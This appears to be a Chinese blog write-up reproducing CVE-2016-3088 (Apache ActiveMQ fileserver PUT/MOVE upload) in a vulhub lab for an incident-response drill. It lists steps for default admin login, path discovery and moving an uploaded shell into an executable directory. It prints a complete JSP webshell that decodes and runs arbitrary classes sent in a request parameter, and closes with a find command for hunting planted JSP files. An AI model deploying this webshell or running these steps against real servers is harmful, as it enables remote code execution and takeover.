CVE-2016-3088-复现

最近要做应急演练,用到了这个漏洞,就顺便记录一下这个靶场的流程
环境就不记录了,用的是vulhub的靶场
ps:关于该漏洞的成因,我对代码审计不是很懂,这里就不记录了,有兴趣的可以看看参考链接里的分析。
 
 
0x01
账户密码是:admin/admin
 
0x02
登陆后台访问/admin/test/systemProperties.jsp拿绝对路径
 
0x03    通过put的方式传入文本形式的shell,显示204即为上传成功
访问可以看到上传成功
 
0x04 利用MOVE方法将上传的wbsh©移动到可以执行的目录并更改后缀为jsp。
进行利用尝试,执行命令
 
0x05 传入一句话木马,蚁剑链接,同上述方法一致(当时执行的时候忘截图了)
 
文本:(找不到参考的链接了)
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
上传成功:
连接蚁剑:
 
 
0x06 排查
命令:find -name "*.jsp" -exec stat -c "%n %y" {} \;
 
posted @ 2024-02-18 14:17  幸运盒子  阅读(54)  评论(0编辑  收藏  举报